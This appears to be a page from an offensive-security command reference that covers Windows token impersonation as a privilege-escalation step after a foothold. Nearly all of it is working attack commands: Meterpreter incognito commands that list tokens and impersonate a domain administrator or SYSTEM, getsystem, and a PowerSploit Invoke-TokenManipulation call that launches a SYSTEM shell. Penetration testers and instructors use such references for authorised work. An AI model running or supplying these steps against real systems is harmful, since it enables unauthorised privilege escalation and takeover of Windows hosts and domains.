OPSECTLAS you are here: Windows
Windows

Token Impersonation (Incognito)

reference 8 commands

  1. Recon
  2. Enumerate
  3. Foothold
  4. PrivEsc
  5. Lateral
  6. Post-Ex

reached from Foothold (Windows)

From Meterpreter session:

load incognito
list_tokens -u         # List available tokens
impersonate_token "DOMAIN\\Administrator"

or:

impersonate_token "NT AUTHORITY\\SYSTEM"

Check result

getuid
getsystem

Manual token stealing (requires SeImpersonatePrivilege)

Using Invoke-TokenManipulation.ps1 (PowerSploit):

Import-Module .\Invoke-TokenManipulation.ps1
Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authority\system"